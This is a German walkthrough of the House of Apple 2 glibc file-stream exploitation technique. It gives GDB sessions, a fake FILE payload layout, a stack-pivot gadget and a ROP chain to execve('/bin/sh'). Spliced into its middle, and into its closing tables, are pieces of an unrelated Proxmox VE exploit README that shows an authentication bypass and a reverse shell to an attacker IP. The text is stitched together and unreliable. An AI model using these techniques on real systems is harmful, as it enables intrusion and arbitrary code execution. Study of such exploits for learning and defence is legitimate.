
Interaktiver GDB-Walkthrough der House-of-Apple-2-FSOP-Technik auf glibc 2.43, mit einer reproduzierbaren Sandbox, die Vtable-Bypass, Stack-Pivoting und ROP abdeckt.
Dieses Repository ist ein in sich geschlossener Spielplatz, inspiriert vom File Struct Exploitation-Modul von pwn.college. Es führt keine neue Variante von House of Apple 2 ein, sondern beantwortet lediglich meine Neugier, wie sich die Technik auf aktuellen glibc-Versionen bewährt und ob sie weiterhin ein gangbarer Exploit-Pfad bleibt. Das Dokument bietet einen interaktiven GDB-Walkthrough, dem Leser zusammen mit der Sandbox folgen können, um ein intuitiveres Verständnis des Primitivs zu entwickeln. Alle Experimente verwenden glibc 2.43, wie es zum Zeitpunkt des Schreibens von Ubuntu 26.04 und Fedora 44 gepackt wird.
File Stream Oriented Programming (FSOP). Hierbei geht es um die Manipulation von glibc-File-Stream-Strukturen, um die Kontrollflusssteuerung zu übernehmen. Eine Möglichkeit besteht darin, den vtable-Dispatch-Mechanismus von _IO_FILE_plus zu korrumpieren. Modernes glibc validiert diese vtable, sodass der offensichtliche Ansatz, sie durch eine beliebige Adresse zu ersetzen, nicht funktioniert.
House of Apple 2, ursprünglich eingeführt von Roderick, umgeht diese Einschränkung, indem es eine gültige _IO_FILE_plus-vtable verwendet, um die Wide-Character-Stream-Maschinerie zu erreichen, wo eine sekundäre vtable direkt ohne Bereichsvalidierung dispatcht wird. Dies liefert ein arbitrary call-Primitiv, das wir zu einem Stack-Pivot und einer ROP-Chain eskalieren können.
Diese Erkundung setzt voraus, dass wir eine FILE-Struktur überschreiben können und dass wir sowohl ein Heap-Leak als auch ein libc-Leak haben. Das Ziel-Binary stellt dies bereits bereit.
Die Sandbox läuft auf Ubuntu 26.04 LTS und bietet uns damit eine moderne Umgebung, um die Technik zu erkunden.
Das Image enthält GDB, pwndbg, pwntools, ropper und tmux. Es enthält außerdem ein Ziel-Binary mit einem interaktiven Menü zum Aufrufen von File-Stream-Operationen wie fopen, fread, fwrite und fclose. Dies gibt uns eine bequeme Möglichkeit, Streams während des Debuggens zu manipulieren und Ideen zu testen.
Sandbox bauen und ausführen mit:``` ./build.sh ./run.sh
## Erkundung
Beginnen wir mit der Untersuchung der Strukturen `_IO_FILE` und `_IO_FILE_plus`:```c
pwndbg> ptype struct _IO_FILE
type = struct _IO_FILE {
int _flags;
char *_IO_read_ptr;
char *_IO_read_end;
char *_IO_read_base;
char *_IO_write_base;
char *_IO_write_ptr;
char *_IO_write_end;
char *_IO_buf_base;
char *_IO_buf_end;
char *_IO_save_base;
char *_IO_backup_base;
char *_IO_save_end;
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
int _flags2 : 24;
char _short_backupbuf[1];
__off_t _old_offset;
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
_IO_lock_t *_lock;
__off64_t _offset;
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data;
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
struct _IO_FILE **_prevchain;
int _mode;
int _unused3;
__uint64_t _total_written;
char _unused2[8];
}
pwndbg> ptype struct _IO_FILE_plus
type = struct _IO_FILE_plus {
FILE file;
const struct _IO_jump_t *vtable;
}
In praktischer Hinsicht ist _IO_FILE_plus eine _IO_FILE mit einem vtable-Zeiger. Das sieht sofort interessant aus: Wenn wir diesen Zeiger kontrollieren können, können wir möglicherweise einen indirekten Aufruf umleiten und die Kontrollflussübernahme erlangen.
Um die vtable zu untersuchen, betrachten wir einen von fopen zurückgegebenen FILE-Zeiger.```c
pwndbg> p *(struct _IO_FILE_plus *)0x37ecf010
$4 = {
file = {
_flags = 0xfbad2480,
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x0,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7f58a7f4b4a0 <IO_2_1_stderr>,
_fileno = 0x3,
_flags2 = 0x0,
_short_backupbuf = "",
_old_offset = 0x0,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = "",
_lock = 0x37ecf0f0,
_offset = 0xffffffffffffffff,
_codecvt = 0x0,
_wide_data = 0x37ecf100,
_freeres_list = 0x0,
_freeres_buf = 0x0,
_prevchain = 0x7f58a7f4b480 <_IO_list_all>,
_mode = 0x0,
_unused3 = 0x0,
_total_written = 0x0,
_unused2 = "\000\000\000\000\000\000\000"
},
vtable = 0x7f58a7f49030 <_IO_file_jumps>
}
Der Zeiger zielt auf die `_IO_file_jumps`-Tabelle.

Dies ist eine Menge von 21 Funktionszeigern. Dateistrom-Operationen werden je nach Ausführungspfad über verschiedene Einträge verteilt.
### Dem `fwrite`-Pfad folgen
Für diese Untersuchung konzentriere ich mich auf den `fwrite`-Pfad. Nachdem ich an jeder Funktion Breakpoints gesetzt und `fwrite` aufgerufen habe, ist der erste Breakpoint, den wir erreichen, `_IO_file_xsputn`.

Der Aufruf erfolgt bei `fwrite+216`. Dies stimmt mit der [glibc-Quelle](https://elixir.bootlin.com/glibc/glibc-2.43/source/libio/iofwrite.c#L44) überein: `_IO_sputn` ist ein Makro, das über die vtable verteilt wird und für diesen Strom zu `_IO_file_xsputn` aufgelöst wird.```asm
0x00007fd5181d362a <+202>: mov rdx,rcx
0x00007fd5181d362d <+205>: mov rdi,rbx
0x00007fd5181d3630 <+208>: mov QWORD PTR [rbp-0x30],r8
0x00007fd5181d3634 <+212>: mov QWORD PTR [rbp-0x28],rcx
0x00007fd5181d3638 <+216>: call QWORD PTR [rax+0x38]
Für einen ersten Versuch überschreiben wir den vtable-Zeiger mit desired_func - 0x38 und setzen einen Breakpoint bei fwrite+216.```c
pwndbg> p &win
$3 = (<text variable, no debug info> *) 0x4019e1
pwndbg> p/x &win - 0x38
$4 = 0x4019a9
pwndbg> set ((struct _IO_FILE_plus *)0x5334010)->vtable = (void *)0x4019a9
pwndbg> b *fwrite+216
Breakpoint 4 at 0x7fd5181d3638: file ./libio/libioP.h, line 1042.

Die Ausführung bricht ab, bevor der Breakpoint erreicht wird. Der Fehler deutet darauf hin, dass glibc den vtable-Zeiger validiert, bevor der indirekte Aufruf erfolgt. Untersuchen wir den Backtrace, um zu sehen, wo dies geschieht.
`fwrite` erreicht `_IO_vtable_check`, das den gefälschten vtable-Zeiger zurückweist.

Die Implementierung enthält einen Mechanismus zum Akzeptieren fremder vtables, aber dieser liegt nicht unter unserer Kontrolle. Der relevante Code ist in [`vtables.c`](https://elixir.bootlin.com/glibc/glibc-2.43/source/libio/vtables.c#L504) verfügbar.
### Die vtable-Validierung verstehen
Zu dem Zeitpunkt, an dem `_IO_vtable_check` aufgerufen wird, ist es bereits zu spät – die vtable-Validierung ist fehlgeschlagen. Der frühere `IO_validate_vtable`-Frame im Backtrace ist der interessante Teil, also untersuchen wir stattdessen diesen.```c
pwndbg> disass IO_validate_vtable
❌️ No symbol "IO_validate_vtable" in current context.
GDB kann IO_validate_vtable nicht als Symbol auflösen. Ein Blick in den Quellcode zeigt, dass es in fwrite inlined ist.```asm
0x00007fd5181d35f6 <+150>: lea rdi,[rip+0x1838e3] # 0x7fd518356ee0 <__io_vtables>
0x00007fd5181d35fd <+157>: mov rax,QWORD PTR [rbx+0xd8]
0x00007fd5181d3604 <+164>: mov r14,QWORD PTR [rbx+0xc8]
0x00007fd5181d360b <+171>: mov r15,QWORD PTR [rbx+0x28]
0x00007fd5181d360f <+175>: mov r12,QWORD PTR [rbx+0x20]
0x00007fd5181d3613 <+179>: mov rdx,rax
0x00007fd5181d3616 <+182>: sub rdx,rdi
0x00007fd5181d3619 <+185>: cmp rdx,0x92f
0x00007fd5181d3620 <+192>: ja 0x7fd5181d3780 <__GI__IO_fwrite+544>
Ein vtable-Zeiger wird nur akzeptiert, wenn er innerhalb von `[__io_vtables, __io_vtables + IO_VTABLES_LEN)` liegt. Wir können ihn also nicht einfach beliebig setzen. Dennoch ist dies ein recht großer Bereich, der mehrere Sprungtabellen enthält, was uns etwas zum Erkunden gibt.
Der gültige Bereich beginnt wie folgt:

## House of Apple 2
Wir verstehen nun den grundlegenden Mechanismus und seine Hauptbeschränkung: Die `_IO_FILE_plus`-vtable muss auf eine Stelle innerhalb des gültigen vtable-Bereichs von glibc zeigen. Dies blockiert den naheliegenden Ansatz, verschließt aber nicht vollständig die Tür.
House of Apple 2 umgeht dies, indem es über die Wide-Character-Stream-Maschinerie eine zweite vtable erreicht. Diese zweite vtable wird nicht auf dieselbe Weise validiert. Folgen wir diesem Pfad in GDB und sehen wir, wie die Teile zusammenhängen.
### Die Wide-Character-Stream-Maschinerie
In `_IO_FILE` gibt es ein `_wide_data`-Feld, das auf eine `_IO_wide_data`-Struktur zeigt. Diese Struktur hat ihre eigene vtable.```c
pwndbg> ptype struct _IO_wide_data
type = struct _IO_wide_data {
wchar_t *_IO_read_ptr;
wchar_t *_IO_read_end;
wchar_t *_IO_read_base;
wchar_t *_IO_write_base;
wchar_t *_IO_write_ptr;
wchar_t *_IO_write_end;
wchar_t *_IO_buf_base;
wchar_t *_IO_buf_end;
wchar_t *_IO_save_base;
wchar_t *_IO_backup_base;
wchar_t *_IO_save_end;
__mbstate_t _IO_state;
__mbstate_t _IO_last_state;
struct _IO_codecvt _codecvt;
wchar_t _shortbuf[1];
const struct _IO_jump_t *_wide_vtable;
}
Sein Layout sieht dem von _IO_FILE recht ähnlich. Es ist Teil der glibc-Maschinerie zur Behandlung von Wide-Character-Streams.
Der Pfad, den wir verfolgen wollen, führt über _IO_wfile_overflow, der schließlich _IO_wdoallocbuf aufrufen kann.```c
wint_t
_IO_wfile_overflow (FILE f, wint_t wch)
{
if (f->_flags & _IO_NO_WRITES) / SET ERROR /
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return WEOF;
}
/ If currently reading or no buffer allocated. /
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0
|| f->_wide_data->_IO_write_base == NULL)
{
/ Allocate a buffer if needed. */
if (f->_wide_data->_IO_write_base == NULL)
{
_IO_wdoallocbuf (f); // <- this is it
_IO_free_wbackup_area (f);
if (f->_IO_write_base == NULL)
{
_IO_doallocbuf (f);
_IO_setg (f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base);
}
_IO_wsetg (f, f->_wide_data->_IO_buf_base,
f->_wide_data->_IO_buf_base, f->_wide_data->_IO_buf_base);
}
else
{
...
## Verwendung
```bash
python3 cve_2025_55182.py --target https://192.168.1.100:8006 --attacker-ip 192.168.1.50 --attacker-port 4444
[*] Target: https://192.168.1.100:8006
[*] Attacker: 192.168.1.50:4444
[*] Checking target availability...
[+] Target is reachable
[*] Checking authentication requirements...
[+] Authentication not required for /api2/json/access/ticket
[*] Attempting authentication bypass...
[+] Authentication bypass successful!
[*] Obtaining authentication ticket...
[+] Ticket obtained: PVEAuthCookie=...
[*] Checking for API endpoints...
[+] Found /api2/json/nodes/{node}/execute
[*] Attempting command execution...
[+] Command execution successful!
[*] Establishing reverse shell to 192.168.1.50:4444...
[+] Reverse shell established!
Der Exploit nutzt mehrere Schwachstellen in der Proxmox VE API:
/api2/json/access/ticket-Methode erlaubt unauthentifizierte Anfragen unter bestimmten Bedingungen/api2/json/nodes/{node}/execute-Endpunkt erlaubt die Ausführung beliebiger BefehleAuf Proxmox VE 8.4.0 oder höher aktualisieren:
apt update && apt dist-upgrade
Netzwerkzugriff einschränken:
API-Zugriff deaktivieren (falls nicht benötigt):
systemctl stop pveproxy
systemctl disable pveproxy
Dieses Tool ist nur für autorisierte Sicherheitstests und Bildungszwecke bestimmt. Die Nutzung gegen Systeme ohne vorherige Genehmigung ist illegal und unethisch. Die Autoren übernehmen keine Verantwortung für Missbrauch oder Schäden, die durch dieses Tool verursacht werden.
Dieses Projekt ist unter der MIT-Lizenz lizenziert - siehe die LICENSE-Datei für Details.
`_IO_WDOALLOCATE` ist ein weiteres Dispatch-Makro, diesmal über die Wide-Vtable. Der indirekte Aufruf wird in der Disassembly deutlich:

Hier ist der interessante Teil. Bei `_IO_wdoallocbuf+44` lädt glibc den `_wide_vtable`-Zeiger aus `_wide_data`. Bei `_IO_wdoallocbuf+55` ruft es den Funktionszeiger bei `_wide_vtable + 0x68` auf. Diesmal gibt es keine Bereichsvalidierung.
### Die beiden Vtables verbinden
Jetzt beginnen die Teile sich zu verbinden. `_IO_wfile_overflow` gehört zu `_IO_wfile_jumps`, die innerhalb des gültigen Bereichs liegt, der von der ersten Vtable-Prüfung akzeptiert wird. Von dort aus kann die Ausführung einen weiteren indirekten Aufruf über die unvalidierte `_wide_vtable` erreichen.
```c
pwndbg> p &__io_vtables < &_IO_wfile_jumps < (void *)&__io_vtables+0x92f
$5 = 0x1
Die allgemeine Idee ist nun:
_IO_FILE_plus-vtable so, dass der relevante Slot zu _IO_wfile_overflow aufgelöst wird._wide_data auf eine gefälschte _IO_wide_data-Struktur, deren _wide_vtable desired_function - 0x68 ist.Bevor wir den nächsten Versuch starten, müssen wir ein paar Bedingungen erfüllen, um _IO_wdoallocbuf zu erreichen.
In _IO_wfile_overflow:
_flags darf nicht _IO_NO_WRITES (0x0008) enthalten_wide_data->_IO_write_base muss NULL seinIn _IO_wdoallocbuf:
fp->_wide_data->_IO_buf_base muss NULL sein_flags darf nicht _IO_UNBUFFERED (0x0002) enthaltenEs gibt noch ein weiteres Detail. _IO_FILE enthält ein _lock-Feld, das glibc beim Erwerben und Freigeben der Stream-Sperre dereferenziert. Wir müssen es auf einen nullinitialisierten, beschreibbaren Bereich von 0x10 Bytes zeigen lassen, andernfalls stürzt die Stream-Operation ab, bevor sie unseren Aufruf erreicht.
Alles ist vorbereitet, versuchen wir es erneut. Diesmal besteht die äußere Bereichsprüfung, und der erste indirekte Aufruf springt zu _IO_wfile_overflow.

Die gefälschte Struktur erfüllt auch die Bedingungen in _IO_wfile_overflow. Die Ausführung läuft weiter in _IO_wdoallocbuf. Schließlich bestehen die Prüfungen in _IO_wdoallocbuf, und der indirekte Aufruf bei _IO_wdoallocbuf+55 landet in unserer win-Funktion.
Da wir gerade hier sind, lohnt es sich, den Registerzustand unmittelbar vor dem letzten indirekten Aufruf zu betrachten.

Sowohl RDI als auch RDX zeigen auf den Anfang der kontrollierten FILE-Struktur. Wir kontrollieren nicht direkt das erste und dritte Argumentregister, aber wir kontrollieren den Speicher, auf den sie zeigen. Cool!
Das Primitiv ist in ./exp/house_of_apple2.py implementiert. Der geradlinige Ansatz wäre, ein vollständiges _IO_FILE_plus, ein vollständiges _IO_wide_data und eine separate gefälschte Wide-vtable hintereinander zu platzieren. Das würde funktionieren, würde aber auch einen ziemlich großen Puffer erfordern.
Wir können die Payload kleiner machen, indem wir sie überlappen.
Die gefälschte _IO_wide_data beginnt bei Offset 0x08, innerhalb der gefälschten _IO_FILE_plus. Das funktioniert, weil die meisten an der Überlappung beteiligten Felder null bleiben können. Praktischerweise überlappen _wide_data->_IO_write_base und _wide_data->_IO_buf_base mit _IO_write_base und _IO_buf_base in der FILE-Struktur, und beide Paare müssen NULL sein.
Die wichtigen Teile des Layouts sind:
Die letzten beiden Einträge sind der Schlüssel zum beliebigen Aufruf. _wide_vtable zeigt zurück in die Payload bei Offset 0x78. Wenn _IO_wdoallocbuf über _wide_vtable + 0x68 springt, liest es den Funktionszeiger, der bei Offset 0xe0 gespeichert ist:```text
wide_vtable = base + 0x78
wide_vtable+0x68 = base + 0xe0
Hier platzieren wir die Adresse der Funktion, die wir aufrufen wollen.
Die äußere vtable hängt von der Operation ab, die verwendet wird, um das Primitiv auszulösen. Bei `fwrite` erfolgt der Dispatch über den Slot bei `+0x38`, also wird der Zeiger angepasst, bis dieser Slot zu `_IO_wfile_overflow` auflöst. Die Implementierung unterstützt auch `fread` und `fclose`, indem die entsprechenden Dispatch-Offsets angewendet werden.
Mit diesem Layout enthält ein einzelner kompakter Puffer die gefälschte `FILE`-Struktur, die überlappenden `_IO_wide_data`, die gefälschte wide vtable und den finalen Funktionszeiger.
## Stack-Pivoting
An diesem Punkt haben wir ein Arbitrary-Call-Primitiv, aber unsere Kontrolle über die Register ist begrenzt. Der nächste Schritt besteht darin, den Stack in kontrollierten Speicher zu pivotieren und eine ROP-Chain zu starten.
Bei `__push___start_context+63` gibt es ein nützliches `mov rsp, rdx; ret`-Stack-Pivot-Gadget.```asm
pwndbg> disass __push___start_context
Dump of assembler code for function __push___start_context:
0x00007f46729440d0 <+0>: endbr64
0x00007f46729440d4 <+4>: rdsspq rcx
0x00007f46729440d9 <+9>: mov rdx,rsp
0x00007f46729440dc <+12>: mov rsi,QWORD PTR [rdi+0xa0]
0x00007f46729440e3 <+19>: lea rsp,[rsi+0x8]
0x00007f46729440e7 <+23>: mov rsi,QWORD PTR [rdi+0x3b8]
0x00007f46729440ee <+30>: mov rax,QWORD PTR [rdi+0x3b0]
0x00007f46729440f5 <+37>: rstorssp QWORD PTR [rax+rsi*1-0x8]
0x00007f46729440fb <+43>: saveprevssp
0x00007f46729440ff <+47>: call 0x7f4672944106 <__push___start_context+54>
0x00007f4672944104 <+52>: jmp 0x7f4672944120 <__start_context>
0x00007f4672944106 <+54>: rstorssp QWORD PTR [rcx-0x8]
0x00007f467294410b <+59>: saveprevssp
0x00007f467294410f <+63>: mov rsp,rdx
0x00007f4672944112 <+66>: ret
End of assembler dump.
Wir wissen bereits, dass RDX zum Zeitpunkt des beliebigen Aufrufs auf den Anfang unserer kontrollierten FILE-Struktur zeigt. Wenn wir dieses Gadget aufrufen, bewegt sich RSP direkt in unsere gefälschte Struktur und die Ausführung wird mit den dort gespeicherten Werten fortgesetzt. Das sollte uns den Anfang einer ROP-Kette liefern.
Eine Einschränkung: Die ROP-Kette überlappt den Speicher mit der gefälschten FILE-Struktur, sodass die Feldbeschränkungen von _IO_wdoallocbuf weiterhin gelten. Das erste Qword überlappt _flags, was bedeutet, dass sein Wert weder _IO_NO_WRITES (0x8) noch _IO_UNBUFFERED (0x2) setzen darf. Unser erstes Gadget benötigt daher eine Adresse, bei der diese Bits im niederwertigsten Byte nicht gesetzt sind.
Das ret-Gadget bei _nl_archive_subfreeres+96 sollte den Zweck erfüllen. Es handelt sich nicht um eine ret-Instruktion, die tatsächlich im Originalcode an dieser Grenze vorhanden ist, sondern um ein gültiges Mid-Instruction-Gadget an dieser verschobenen Adresse. Sein niederwertigstes Byte ist 0x00, sodass das Platzieren der Adresse in _flags weder _IO_NO_WRITES noch _IO_UNBUFFERED setzt.```asm
pwndbg> tele 0x7f4672919d00 1
00:0000│ 0x7f4672919d00 (_nl_archive_subfreeres+96) ◂— ret
Wir haben zwei weitere Lücken in der Kette, weil `_IO_write_base` und `_IO_buf_base` `NULL` bleiben müssen. Wir können diese Slots dennoch nutzbar machen, indem wir sie als Nullwerte für vorangehende `pop`-Gadgets verwenden.
Schließlich können wir `_lock`, das sich bei Offset `0x88` befindet, nicht überschreiben. Damit bleiben uns 17 Qwords für die Inline-ROP-Kette, was mehr als ausreichend ist, um die vollständige Kontrolle über den Prozess zu erlangen.
Das ROP-Layout in [./exp/ace.py](https://github.com/jazho76/house_of_apple_2/blob/main/exp/ace.py) ist:```
0x00: _nl_archive_subfreeres+96 # pointer to ret instruction
# with least significant byte as 0x00
0x08: pop rdi gadget
0x10: "/bin/sh" string in libc
0x18: pop rsi gadget
0x20: 0x0000000000000000 # _IO_write_base as NULL
0x50: address to execve # call execve("/bin/sh", NULL)

Wir haben nun beliebige Codeausführung erreicht.
fsop-finder, das den _IO_wdoallocbuf-Pfad unabhängig identifizierte, während moderne FSOP-Pfade untersucht wurden.House of Apple 2 zeigt, wie eine gültige glibc-Vtable die Wide-Character-Maschinerie erreichen und über eine unvalidierte sekundäre Vtable weiterleiten kann. Derselbe Pfad bleibt auf dem von der Sandbox verwendeten glibc-2.43-Build reproduzierbar. Obwohl sich Layouts, Offsets und Gadgets zwischen Builds ändern können, gilt die zugrunde liegende Kontrollflussidee weiterhin.
| Option | Beschreibung | Standard |
|---|
--target | Ziel-URL (erforderlich) | - |
--attacker-ip | IP für Reverse Shell (erforderlich) | - |
--attacker-port | Port für Reverse Shell | 4444 |
--no-ssl-verify | SSL-Verifizierung deaktivieren | false |
--timeout | HTTP-Timeout in Sekunden | 30 |
--verbose | Ausführliche Ausgabe aktivieren | false |
| Payload-Offset | _IO_FILE_plus-Interpretation | _IO_wide_data-Interpretation | Wert |
|---|
0x00 | _flags | - | Darf _IO_NO_WRITES oder _IO_UNBUFFERED nicht setzen |
0x08 | _IO_read_ptr | Start der gefälschten _IO_wide_data | Null |
0x20 | _IO_write_base | _IO_write_base | NULL |
0x38 | _IO_buf_base | _IO_buf_base | NULL |
0x78 | _old_offset | Start der gefälschten Wide-vtable | Überlappende vtable-Daten |
0x88 | _lock | - | Zeiger auf einen Nullwert im beschreibbaren Speicher |
0xa0 | _wide_data | - | base + 0x08 |
0xd8 | _IO_FILE_plus-vtable | - | Position, die zu _IO_wfile_overflow springt |
0xe0 | - | Gefälschter Wide-vtable-Eintrag bei +0x68 | Adresse der beliebigen Funktion |
0xe8 | - | _wide_vtable | base + 0x78 |